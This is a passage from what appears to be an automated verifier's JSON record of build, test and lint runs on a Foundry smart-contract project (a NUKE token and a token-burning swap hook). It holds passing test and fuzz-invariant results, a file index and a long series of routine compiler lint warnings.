test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1124665)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 768244)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 301.89ms (278.26ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 362825, ~: 360817)\nLogs:\n  Bound result 99001522080938153605323\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1119994, ~: 1118129)\nLogs:\n  Bound result 1342\n  Bound result 2980\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 673163)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 483409)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1256581)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 10525967)\n[PASS] test_dustFeeRoundsDown() (gas: 356509)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 773379)\n[PASS] test_exactInputBuy() (gas: 356307)\n[PASS] test_exactInputSell() (gas: 361353)\n[PASS] test_exactOutputBuy() (gas: 356639)\n[PASS] test_exactOutputSell() (gas: 360807)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 23418086)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 797610)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 23592167)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 692026)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 314061)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 18363305)\n[PASS] test_partialExactInputBuy() (gas: 356882)\n[PASS] test_partialExactInputSell() (gas: 362351)\n[PASS] test_partialExactOutputBuy() (gas: 355760)\n[PASS] test_partialExactOutputSell() (gas: 361129)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 686611)\n[PASS] test_permissionsAndDeployment() (gas: 2002796)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 37052)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 405476)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 302.07ms (607.18ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2705  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2780  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2707  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 758507501\n  Bound result 4107\n  Bound result 499999999999900004339\n  Bound result 499999999999900000034\n  Bound result 3662\n  Bound result 499999999999900004689\n  Bound result 499999999999900002546\n  Bound result 499999999999900000127\n  Bound result 3697\n  Bound result 499999999999900008781\n  Bound result 3602\n  Bound result 6650\n  Bound result 4952\n  Bound result 3600\n  Bound result 499999999999900004516\n  Bound result 3487524734\n  Bound result 7200\n  Bound result 6604\n  Bound result 499999999999900009615\n  Bound result 4527\n  Bound result 183329139651439651622\n  Bound result 3600\n  Bound result 6101\n  Bound result 499999999999900002213\n  Bound result 144834536977851568703\n  Bound result 499999999999900008358\n  Bound result 499999999999900017066\n  Bound result 5686\n  Bound result 499999999999900000782\n  Bound result 4685\n  Bound result 499999999999900007868\n  Bound result 499999999999900004732\n  Bound result 240563224\n  Bound result 499999999999900010444\n  Bound result 3892\n  Bound result 209783476208272506623\n  Bound result 1484145232\n  Bound result 499999999999900011993\n  Bound result 3603\n  Bound result 9771622171502313640\n  Bound result 6101\n  Bound result 3644\n  Bound result 4996\n  Bound result 499999999999900008358\n  Bound result 5401\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.82s (1.78s CPU time)\n\nRan 6 tests for test/StatefulAccounting.t.sol:StatefulAccountingTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 3499  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 3513  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 3553  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 3534  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 3488  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 3495  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 3494  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4925543962460578988\n  Bound result 6058\n  Bound result 9177\n  Bound result 9530\n  Bound result 96\n  Bound result 1906\n  Bound result 146758561\n  Bound result 47\n  Bound result 3488\n  Bound result 14651\n  Bound result 64\n  Bound result 5863\n  Bound result 18171\n  Bound result 4623\n  Bound result 552041655870\n  Bound result 4102451\n  Bound result 1\n  Bound result 3598\n  Bound result 7530140284066403\n  Bound result 3\n  Bound result 20405\n  Bound result 61\n  Bound result 720750991106689960653\n  Bound result 98\n  Bound result 7200\n  Bound result 6195\n  Bound result 44\n  Bound result 830\n  Bound result 26\n  Bound result 6200\n  Bound result 94925562818269194045\n  Bound result 98\n  Bound result 10188\n  Bound result 6580\n  Bound result 2\n  Bound result 5880\n  Bound result 12756\n  Bound result 3914505541740\n  Bound result 4\n  Bound result 226274457130424486459\n  Bound result 1474\n  Bound result 95\n  Bound result 6655\n  Bound result 16606721708\n  Bound result 3568604\n  Bound result 12666\n  Bound result 82\n  Bound result 2468383760\n  Bound result 89\n  Bound result 4336\n  Bound result 76\n  Bound result 9939\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 800738)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 2328732)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n\n[PASS] test_handlerFundedZeroOutputBatchRetainsLiquidObservation() (gas: 1373288)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 4\n  Bound result 3600\n\n[PASS] test_handlerRetainsLiquidObservationAcrossEmptyRegionMovement() (gas: 1283235)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 900\n  Bound result 1\n  Bound result 100\n  Bound result 2700\n  Bound result 7200\n\n[PASS] test_handlerZeroBudgetDoesNotObserveRestoredLiquidity() (gas: 1886052)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 3600\n  Bound result 1000000000000000000000\n  Bound result 3600\n\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 5.93s (5.90s CPU time)\n\nRan 6 tests for test/StatefulAccounting.t.sol:StatefulAccountingReverseOrderTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 3499  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 3513  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 3553  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 3534  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 3488  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 3495  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 3494  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4925543962460578988\n  Bound result 3687416066\n  Bound result 3106\n  Bound result 2539800112\n  Bound result 96\n  Bound result 7779\n  Bound result 146758561\n  Bound result 47\n  Bound result 3488\n  Bound result 13424\n  Bound result 64\n  Bound result 9647\n  Bound result 21491\n  Bound result 15074\n  Bound result 552041655870\n  Bound result 4102451\n  Bound result 1\n  Bound result 3598\n  Bound result 7530140284066403\n  Bound result 3\n  Bound result 24335\n  Bound result 38\n  Bound result 11167\n  Bound result 40\n  Bound result 7200\n  Bound result 10304\n  Bound result 44\n  Bound result 8787\n  Bound result 70\n  Bound result 32767\n  Bound result 94925562818269194045\n  Bound result 98\n  Bound result 4145\n  Bound result 15461\n  Bound result 2\n  Bound result 10117\n  Bound result 17046\n  Bound result 3914505541740\n  Bound result 4\n  Bound result 226274457130424486459\n  Bound result 4090335563\n  Bound result 95\n  Bound result 705633649065047568380\n  Bound result 16606721708\n  Bound result 3568604\n  Bound result 314033837015576870912\n  Bound result 51\n  Bound result 2468383760\n  Bound result 89\n  Bound result 452\n  Bound result 1\n  Bound result 8481\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 799010)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 2305829)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n\n[PASS] test_handlerFundedZeroOutputBatchRetainsLiquidObservation() (gas: 1376932)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 4\n  Bound result 3600\n\n[PASS] test_handlerRetainsLiquidObservationAcrossEmptyRegionMovement() (gas: 1278471)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 900\n  Bound result 1\n  Bound result 100\n  Bound result 2700\n  Bound result 7200\n\n[PASS] test_handlerZeroBudgetDoesNotObserveRestoredLiquidity() (gas: 1888295)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 3600\n  Bound result 1000000000000000000000\n  Bound result 3600\n\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 6.20s (6.21s CPU time)\n\nRan 17 test suites in 6.20s (16.81s CPU time): 114 tests passed, 0 failed, 1 skipped (115 total tests)\n","passed":true},{"durationMs":66,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":104,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":32,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":292,\"test/BatchPriceLimit.t.sol\":98,\"test/Conservation.t.sol\":108,\"test/DustBatch.t.sol\":104,\"test/MainnetFork.t.sol\":82,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":360,\"test/OracleLiquidity.t.sol\":124,\"test/README.md\":29,\"test/SettlementEdges.t.sol\":287,\"test/StatefulAccounting.t.sol\":377,\"test/helpers/ClaimActor.sol\":76,\"test/helpers/HookFixture.sol\":138,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"624a36c927ca81cc5d6c30248d02dd0af6996a62eab3cbf0bc63e01d0694124f","verifiedTreeHash":"07c7ae5fc7c52a283a0ee8fb85204380d483e2f0","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":82789,"exitCode":0,"name":"build","output":"Compiling 84 files with Solc 0.8.26\nSolc 0.8.26 finished in 82.61s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:208:35\n    │\n208 │         if (need == 0) return (0, false);\n    │                                   ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:225:43\n    │\n225 │                     return (sqrtPriceX96, true);\n    │                                           ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:237:20\n    │\n237 │         return (0, false);\n    │                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:132:9\n    │\n132 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:130:25\n    │\n130 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:130:50\n    │\n130 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:144:42\n    │\n144 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:144:87\n    │\n144 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:145:25\n    │\n145 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:165:13\n    │\n165 │             emit FeeAccrued(currency, fee);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:161:23\n    │\n161 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:167:44\n    │\n167 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:167:51\n    │\n167 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:253:16\n    │\n253 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:259:29\n    │\n259 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:261:9\n    │\n261 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `lastBatch` is updated\n    ╭▸ src/NUKEHook.sol:278:13\n    │\n278 │         try poolManager.unlock(abi.encode(budget, limit)) returns (bytes memory result) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:268:13\n    │\n268 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:293:9\n    │\n293 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:22\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:30\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:67\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:75\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:283:39\n    │\n283 │             if (reason.length != 4 || bytes4(reason) != EmptyBatch.selector) {\n    │                                       ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:310:81\n    │\n310 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:311:25\n    │\n311 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:312:26\n    │\n312 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:321:13\n    │\n321 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:380:43\n    │\n380 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:372:13\n    │\n372 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:381:17\n    │\n381 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:373:27\n    │\n373 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:373:50\n    │\n373 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:375:69\n    │\n375 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:376:38\n    │\n376 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:378:44\n    │\n378 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:379:26\n    │\n379 │             o.meanTick = int24(mean);\n    │                          